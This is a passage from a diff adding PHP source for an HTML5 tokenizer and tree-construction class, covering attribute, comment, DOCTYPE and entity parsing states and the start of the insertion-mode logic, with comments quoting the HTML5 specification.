U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif($char === '/') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Stay in the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Start a new attribute in the current tag token. Set that attribute's + name to the current input character, and its value to the empty string. + Switch to the attribute name state. */ + $this->token['attr'][] = array( + 'name' => strtolower($char), + 'value' => null + ); + + $this->state = 'attributeName'; + } + } + + private function attributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute name state. */ + $this->state = 'afterAttributeName'; + + } elseif($char === '=') { + /* U+003D EQUALS SIGN (=) + Switch to the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif($char === '/' && $this->character($this->char + 1) !== '>') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the before + attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's name. + Stay in the attribute name state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['name'] .= strtolower($char); + + $this->state = 'attributeName'; + } + } + + private function afterAttributeNameState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the after attribute name state. */ + $this->state = 'afterAttributeName'; + + } elseif($char === '=') { + /* U+003D EQUALS SIGN (=) + Switch to the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif($char === '/' && $this->character($this->char + 1) !== '>') { + /* U+002F SOLIDUS (/) + Parse error unless this is a permitted slash. Switch to the + before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the EOF + character in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Start a new attribute in the current tag token. Set that attribute's + name to the current input character, and its value to the empty string. + Switch to the attribute name state. */ + $this->token['attr'][] = array( + 'name' => strtolower($char), + 'value' => null + ); + + $this->state = 'attributeName'; + } + } + + private function beforeAttributeValueState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Stay in the before attribute value state. */ + $this->state = 'beforeAttributeValue'; + + } elseif($char === '"') { + /* U+0022 QUOTATION MARK (") + Switch to the attribute value (double-quoted) state. */ + $this->state = 'attributeValueDoubleQuoted'; + + } elseif($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the attribute value (unquoted) state and reconsume + this input character. */ + $this->char--; + $this->state = 'attributeValueUnquoted'; + + } elseif($char === '\'') { + /* U+0027 APOSTROPHE (') + Switch to the attribute value (single-quoted) state. */ + $this->state = 'attributeValueSingleQuoted'; + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Switch to the attribute value (unquoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueUnquoted'; + } + } + + private function attributeValueDoubleQuotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if($char === '"') { + /* U+0022 QUOTATION MARK (") + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState('double'); + + } elseif($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the character + in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (double-quoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueDoubleQuoted'; + } + } + + private function attributeValueSingleQuotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if($char === '\'') { + /* U+0022 QUOTATION MARK (') + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState('single'); + + } elseif($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the character + in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (single-quoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueSingleQuoted'; + } + } + + private function attributeValueUnquotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState('non'); + + } elseif($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (unquoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueUnquoted'; + } + } + + private function entityInAttributeValueState() + { + // Attempt to consume an entity. + $entity = $this->entity(); + + // If nothing is returned, append a U+0026 AMPERSAND character to the + // current attribute's value. Otherwise, emit the character token that + // was returned. + $char = (!$entity) + ? '&' + : $entity; + + $this->emitToken($char); + } + + private function bogusCommentState() + { + /* Consume every character up to the first U+003E GREATER-THAN SIGN + character (>) or the end of the file (EOF), whichever comes first. Emit + a comment token whose data is the concatenation of all the characters + starting from and including the character that caused the state machine + to switch into the bogus comment state, up to and including the last + consumed character before the U+003E character, if any, or up to the + end of the file otherwise. (If the comment was started by the end of + the file (EOF), the token is empty.) */ + $data = $this->characters('^>', $this->char); + $this->emitToken(array( + 'data' => $data, + 'type' => self::COMMENT + )); + + $this->char += strlen($data); + + /* Switch to the data state. */ + $this->state = 'data'; + + /* If the end of the file was reached, reconsume the EOF character. */ + if($this->char === $this->EOF) { + $this->char = $this->EOF - 1; + } + } + + private function markupDeclarationOpenState() + { + /* If the next two characters are both U+002D HYPHEN-MINUS (-) + characters, consume those two characters, create a comment token whose + data is the empty string, and switch to the comment state. */ + if($this->character($this->char + 1, 2) === '--') { + $this->char += 2; + $this->state = 'comment'; + $this->token = array( + 'data' => null, + 'type' => self::COMMENT + ); + + /* Otherwise if the next seven chacacters are a case-insensitive match + for the word "DOCTYPE", then consume those characters and switch to the + DOCTYPE state. */ + } elseif(strtolower($this->character($this->char + 1, 7)) === 'doctype') { + $this->char += 7; + $this->state = 'doctype'; + + /* Otherwise, is is a parse error. Switch to the bogus comment state. + The next character that is consumed, if any, is the first character + that will be in the comment. */ + } else { + $this->char++; + $this->state = 'bogusComment'; + } + } + + private function commentState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + /* U+002D HYPHEN-MINUS (-) */ + if($char === '-') { + /* Switch to the comment dash state */ + $this->state = 'commentDash'; + + /* EOF */ + } elseif($this->char === $this->EOF) { + /* Parse error. Emit the comment token. Reconsume the EOF character + in the data state. */ + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + /* Anything else */ + } else { + /* Append the input character to the comment token's data. Stay in + the comment state. */ + $this->token['data'] .= $char; + } + } + + private function commentDashState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + /* U+002D HYPHEN-MINUS (-) */ + if($char === '-') { + /* Switch to the comment end state */ + $this->state = 'commentEnd'; + + /* EOF */ + } elseif($this->char === $this->EOF) { + /* Parse error. Emit the comment token. Reconsume the EOF character + in the data state. */ + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + /* Anything else */ + } else { + /* Append a U+002D HYPHEN-MINUS (-) character and the input + character to the comment token's data. Switch to the comment state. */ + $this->token['data'] .= '-'.$char; + $this->state = 'comment'; + } + } + + private function commentEndState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif($char === '-') { + $this->token['data'] .= '-'; + + } elseif($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['data'] .= '--'.$char; + $this->state = 'comment'; + } + } + + private function doctypeState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + $this->state = 'beforeDoctypeName'; + + } else { + $this->char--; + $this->state = 'beforeDoctypeName'; + } + } + + private function beforeDoctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + // Stay in the before DOCTYPE name state. + + } elseif(preg_match('/^[a-z]$/', $char)) { + $this->token = array( + 'name' => strtoupper($char), + 'type' => self::DOCTYPE, + 'error' => true + ); + + $this->state = 'doctypeName'; + + } elseif($char === '>') { + $this->emitToken(array( + 'name' => null, + 'type' => self::DOCTYPE, + 'error' => true + )); + + $this->state = 'data'; + + } elseif($this->char === $this->EOF) { + $this->emitToken(array( + 'name' => null, + 'type' => self::DOCTYPE, + 'error' => true + )); + + $this->char--; + $this->state = 'data'; + + } else { + $this->token = array( + 'name' => $char, + 'type' => self::DOCTYPE, + 'error' => true + ); + + $this->state = 'doctypeName'; + } + } + + private function doctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + $this->state = 'AfterDoctypeName'; + + } elseif($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif(preg_match('/^[a-z]$/', $char)) { + $this->token['name'] .= strtoupper($char); + + } elseif($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['name'] .= $char; + } + + $this->token['error'] = ($this->token['name'] === 'HTML') + ? false + : true; + } + + private function afterDoctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + // Stay in the DOCTYPE name state. + + } elseif($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['error'] = true; + $this->state = 'bogusDoctype'; + } + } + + private function bogusDoctypeState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + // Stay in the bogus DOCTYPE state. + } + } + + private function entity() + { + $start = $this->char; + + // This section defines how to consume an entity. This definition is + // used when parsing entities in text and in attributes. + + // The behaviour depends on the identity of the next character (the + // one immediately after the U+0026 AMPERSAND character): + + switch($this->character($this->char + 1)) { + // U+0023 NUMBER SIGN (#) + case '#': + + // The behaviour further depends on the character after the + // U+0023 NUMBER SIGN: + switch($this->character($this->char + 1)) { + // U+0078 LATIN SMALL LETTER X + // U+0058 LATIN CAPITAL LETTER X + case 'x': + case 'X': + // Follow the steps below, but using the range of + // characters U+0030 DIGIT ZERO through to U+0039 DIGIT + // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 + // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER + // A, through to U+0046 LATIN CAPITAL LETTER F (in other + // words, 0-9, A-F, a-f). + $char = 1; + $char_class = '0-9A-Fa-f'; + break; + + // Anything else + default: + // Follow the steps below, but using the range of + // characters U+0030 DIGIT ZERO through to U+0039 DIGIT + // NINE (i.e. just 0-9). + $char = 0; + $char_class = '0-9'; + break; + } + + // Consume as many characters as match the range of characters + // given above. + $this->char++; + $e_name = $this->characters($char_class, $this->char + $char + 1); + $entity = $this->character($start, $this->char); + $cond = strlen($e_name) > 0; + + // The rest of the parsing happens bellow. + break; + + // Anything else + default: + // Consume the maximum number of characters possible, with the + // consumed characters case-sensitively matching one of the + // identifiers in the first column of the entities table. + $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); + $len = strlen($e_name); + + for($c = 1; $c <= $len; $c++) { + $id = substr($e_name, 0, $c); + $this->char++; + + if(in_array($id, $this->entities)) { + $entity = $id; + break; + } + } + + $cond = isset($entity); + // The rest of the parsing happens bellow. + break; + } + + if(!$cond) { + // If no match can be made, then this is a parse error. No + // characters are consumed, and nothing is returned. + $this->char = $start; + return false; + } + + // Return a character token for the character corresponding to the + // entity name (as given by the second column of the entities table). + return html_entity_decode('&'.$entity.';', ENT_QUOTES, 'UTF-8'); + } + + private function emitToken($token) + { + $emit = $this->tree->emitToken($token); + + if(is_int($emit)) { + $this->content_model = $emit; + + } elseif($token['type'] === self::ENDTAG) { + $this->content_model = self::PCDATA; + } + } + + private function EOF() + { + $this->state = null; + $this->tree->emitToken(array( + 'type' => self::EOF + )); + } +} + +class HTML5TreeConstructer +{ + public $stack = array(); + + private $phase; + private $mode; + private $dom; + private $foster_parent = null; + private $a_formatting = array(); + + private $head_pointer = null; + private $form_pointer = null; + + private $scoping = array('button','caption','html','marquee','object','table','td','th'); + private $formatting = array('a','b','big','em','font','i','nobr','s','small','strike','strong','tt','u'); + private $special = array('address','area','base','basefont','bgsound', + 'blockquote','body','br','center','col','colgroup','dd','dir','div','dl', + 'dt','embed','fieldset','form','frame','frameset','h1','h2','h3','h4','h5', + 'h6','head','hr','iframe','image','img','input','isindex','li','link', + 'listing','menu','meta','noembed','noframes','noscript','ol','optgroup', + 'option','p','param','plaintext','pre','script','select','spacer','style', + 'tbody','textarea','tfoot','thead','title','tr','ul','wbr'); + + // The different phases. + const INIT_PHASE = 0; + const ROOT_PHASE = 1; + const MAIN_PHASE = 2; + const END_PHASE = 3; + + // The different insertion modes for the main phase. + const BEFOR_HEAD = 0; + const IN_HEAD = 1; + const AFTER_HEAD = 2; + const IN_BODY = 3; + const IN_TABLE = 4; + const IN_CAPTION = 5; + const IN_CGROUP = 6; + const IN_TBODY = 7; + const IN_ROW = 8; + const IN_CELL = 9; + const IN_SELECT = 10; + const AFTER_BODY = 11; + const IN_FRAME = 12; + const AFTR_FRAME = 13; + + // The different types of elements. + const SPECIAL = 0; + const SCOPING = 1; + const FORMATTING = 2; + const PHRASING = 3; + + const MARKER = 0; + + public function __construct() + { + $this->phase = self::INIT_PHASE; + $this->mode = self::BEFOR_HEAD; + $this->dom = new DOMDocument; + + $this->dom->encoding = 'UTF-8'; + $this->dom->preserveWhiteSpace = true; + $this->dom->substituteEntities = true; + $this->dom->strictErrorChecking = false; + } + + // Process tag tokens + public function emitToken($token) + { + switch($this->phase) { + case self::INIT_PHASE: return $this->initPhase($token); break; + case self::ROOT_PHASE: return $this->rootElementPhase($token); break; + case self::MAIN_PHASE: return $this->mainPhase($token); break; + case self::END_PHASE : return $this->trailingEndPhase($token); break; + } + } + + private function initPhase($token) + { + /* Initially, the tree construction stage must handle each token + emitted from the tokenisation stage as follows: */ + + /* A DOCTYPE token that is marked as being in error + A comment token + A start tag token + An end tag token + A character token that is not one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE + An end-of-file token */ + if((isset($token['error']) && $token['error']) || + $token['type'] === HTML5::COMMENT || + $token['type'] === HTML5::STARTTAG || + $token['type'] === HTML5::ENDTAG || + $token['type'] === HTML5::EOF || + ($token['type'] === HTML5::CHARACTR && isset($token['data']) && + !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']))) { + /* This specification does not define how to handle this case. In + particular, user agents may ignore the entirety of this specification + altogether for such documents, and instead invoke special parse modes + with a greater emphasis on backwards compatibility. */ + + $this->phase = self::ROOT_PHASE; + return $this->rootElementPhase($token); + + /* A DOCTYPE token marked as being correct */ + } elseif(isset($token['error']) && !$token['error']) { + /* Append a DocumentType node to the Document node, with the name + attribute set to the name given in the DOCTYPE token (which will be + "HTML"), and the other attributes specific to DocumentType objects + set to null, empty lists, or the empty string as appropriate. */ + $doctype = new DOMDocumentType(null, null, 'HTML'); + + /* Then, switch to the root element phase of the tree construction + stage. */ + $this->phase = self::ROOT_PHASE; + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif(isset($token['data']) && preg_match('/^[\t\n\x0b\x0c ]+$/', + $token['data'])) { + /* Append that character to the Document node. */ + $text = $this->dom->createTextNode($token['data']); + $this->dom->appendChild($text); + } + } + + private function rootElementPhase($token) + { + /* After the initial phase, as each token is emitted from the tokenisation + stage, it must be processed as described in this section. */ + + /* A DOCTYPE token */ + if($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the Document object with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->dom->appendChild($comment); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Append that character to the Document node. */ + $text = $this->dom->createTextNode($token['data']); + $this->dom->appendChild($text); + + /* A character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED + (FF), or U+0020 SPACE + A start tag token + An end tag token + An end-of-file token */ + } elseif(($token['type'] === HTML5::CHARACTR && + !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || + $token['type'] === HTML5::STARTTAG || + $token['type'] === HTML5::ENDTAG || + $token['type'] === HTML5::EOF) { + /* Create an HTMLElement node with the tag name html, in the HTML + namespace. Append it to the Document object. Switch to the main + phase and reprocess the current token. */ + $html = $this->dom->createElement('html'); + $this->dom->appendChild($html); + $this->stack[] = $html; + + $this->phase = self::MAIN_PHASE; + return $this->mainPhase($token); + } + } + + private function mainPhase($token) + { + /* Tokens in the main phase must be handled as follows: */ + + /* A DOCTYPE token */ + if($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A start tag token with the tag name "html" */ + } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { + /* If this start tag token was not the first start tag token, then + it is a parse error. */ + + /* For each attribute on the token, check to see if the attribute + is already present on the top element of the stack of open elements. + If it is not, add the attribute and its corresponding value to that + element. */ + foreach($token['attr'] as $attr) { + if(!$this->stack[0]->hasAttribute($attr['name'])) { + $this->stack[0]->setAttribute($attr['name'], $attr['value']); + } + } + + /* An end-of-file token */ + } elseif($token['type'] === HTML5::EOF) { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Anything else. */ + } else { + /* Depends on the insertion mode: */ + switch($this->mode) { + case self::BEFOR_HEAD: return $this->beforeHead($token); break; + case self::IN_HEAD: return $this->inHead($token); break; + case self::AFTER_HEAD: return $this->afterHead($token); break; + case self::IN_BODY: return $this->inBody($token); break; + case self::IN_TABLE: return $this->inTable($token); break; + case self::IN_CAPTION: return $this->inCaption($token); break; + case self::IN_CGROUP: return $this->inColumnGroup($token); break; + case self::IN_TBODY: return $this->inTableBody($token); break; + case self::IN_ROW: return $this->inRow($token); break; + case self::IN_CELL: return $this->inCell($token); break; + case self::IN_SELECT: return $this->inSelect($token); break; + case self::AFTER_BODY: return $this->afterBody($token); break; + case self::IN_FRAME: return $this->inFrameset($token); break; + case self::AFTR_FRAME: return $this->afterFrameset($token); break; + case self::END_PHASE: return $this->trailingEndPhase($token); break; + } + } + } + + private function beforeHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token with the tag name "head" */ + } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { + /* Create an element for the token, append the new element to the + current node and push it onto the stack of open elements. */ + $element = $this->insertElement($token); + + /* Set the head element pointer to this new element node. */ + $this->head_pointer = $element; + + /* Change the insertion mode to "in head". */ + $this->mode = self::IN_HEAD; + + /* A start tag token whose tag name is one of: "base", "link", "meta", + "script", "style", "title". Or an end tag with the tag name "html". + Or a character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. Or any other start tag token */ + } elseif($token['type'] === HTML5::STARTTAG || + ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || + ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/', + $token['data']))) { + /* Act as if a start tag token with the tag name "head" and no + attributes had been seen, then reprocess the current token. */ + $this->beforeHead(array( + 'name' => 'head', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + return $this->inHead($token); + + /* Any other end tag */ + } elseif($token['type'] === HTML5::ENDTAG) { + /* Parse error. Ignore the token. */ + } + } + + private function inHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. + + THIS DIFFERS FROM THE SPEC: If the current node is either a title, style + or script element, append the character to the current node regardless + of its content. */ + if(($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( + $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName, + array('title', 'style', 'script')))) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + } elseif($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('title', 'style', 'script'))) { + array_pop($this->stack); + return HTML5::PCDATA; + + /* A start tag with the tag name "title" */ + } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + } else { + $element = $this->insertElement($token); + } + + /* Switch the tokeniser's content model flag to the RCDATA state. */ + return HTML5::RCDATA; + + /* A start tag with the tag name "style" */ + } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + } else { + $this->insertElement($token); + } + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + + /* A start tag with the tag name "script" */ + } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { + /* Create an element for the token. */ + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + + /* A start tag with the tag name "base", "link", or "meta" */ + } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], + array('base', 'link', 'meta'))) { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + array_pop($this->stack); + + } else { + $this->insertElement($token); + } + + /* An end tag with the tag name "head" */ + } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { + /* If the current node is a head element, pop the current node off + the stack of open elements. */ + if($this->head_pointer->isSameNode(end($this->stack))) { + array_pop($this->stack); + + /* Otherwise, this is a parse error. */ + } else { + // k + } + + /* Change the insertion mode to "after head". */ + $this->mode = self::AFTER_HEAD; + + /* A start tag with the tag name "head" or an end tag except "html". */ + } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || + ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* If the current node is a head element, act as if an end tag + token with the tag name "head" had been seen. */ + if($this->head_pointer->isSameNode(end($this->stack))) { + $this->inHead(array( + 'name' => 'head', + 'type' => HTML5::ENDTAG + )); + + /* Otherwise, change the insertion mode to "after head". */ + } else { + $this->mode = self::AFTER_HEAD; + } + + /* Then, reprocess the current token. */ + return $this->afterHead($token); + } + } + + private function afterHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token with the tag name "body" */ + } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { + /* Insert a body element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in body". */ + $this->mode = self::IN_BODY; + + /* A start tag token with the tag name "frameset" */ + } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { + /* Insert a frameset element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in frameset". */ + $this->mode = self::IN_FRAME; + + /* A start tag token whose tag name is one of: "base", "link", "meta", + "script", "style", "title" */ + } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], + array('base', 'link', 'meta', 'script', 'style', 'title'))) { + /* Parse error. Switch the insertion mode back to "in head" and + reprocess the token. */ + $this->mode = self::IN_HEAD; + return $this->inHead($token); + + /* Anything else */ + } else { + /* Act as if a start tag token with the tag name "body" and no + attributes had been seen, and then reprocess the current token. */ + $this->afterHead(array( + 'name' => 'body', + 'type' => HTML5::STARTTAG, + 'attr' => array() + )); + + return $this->inBody($token); + } + } + + private function inBody($token) + { + /* Handle the token as follows: */ + + switch($token['type']) { + /* A character token */ + case HTML5::CHARACTR: + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Append the token's character to the current node. */ + $this->insertText($token['data']); + break; + + /* A comment token */ + case HTML5::COMMENT: + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + break; + + case HTML5::STARTTAG: + switch($token['name']) { + /* A start tag token whose tag name is one of: "script", + "style" */ + case 'script': case 'style': + /* Process the token as if the insertion mode had been "in + head". */ + return $this->inHead($token); + break; + + /* A start tag token whose tag name is one of: "base", "link", + "meta", "title" */ + case 'base': case 'link': case 'meta': case 'title': + /* Parse error. Process the token as if the insertion mode + had been "in head". */ + return $this->inHead($token); + break; + + /* A start tag token with the tag name "body" */ + case 'body': + /* Parse error. If the second element on the stack of open + elements is not a body element, or, if the stack of open + elements has only one node on it, then ignore the token. + (innerHTML case) */ + if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { + // Ignore + + /* Otherwise, for each attribute on the token, check to see + if the attribute is already present on the body element (the + second element) on the stack of open elements. If it is not, + add the attribute and its corresponding value to that + element. */ + } else { + foreach($token['attr'] as $attr) { + if(!$this->stack[1]->hasAttribute($attr['name'])) { + $this->stack[1]->setAttribute($attr['name'], $attr['value']); + } + } + } + break; + + /* A start tag whose tag name is one of: "address", + "blockquote", 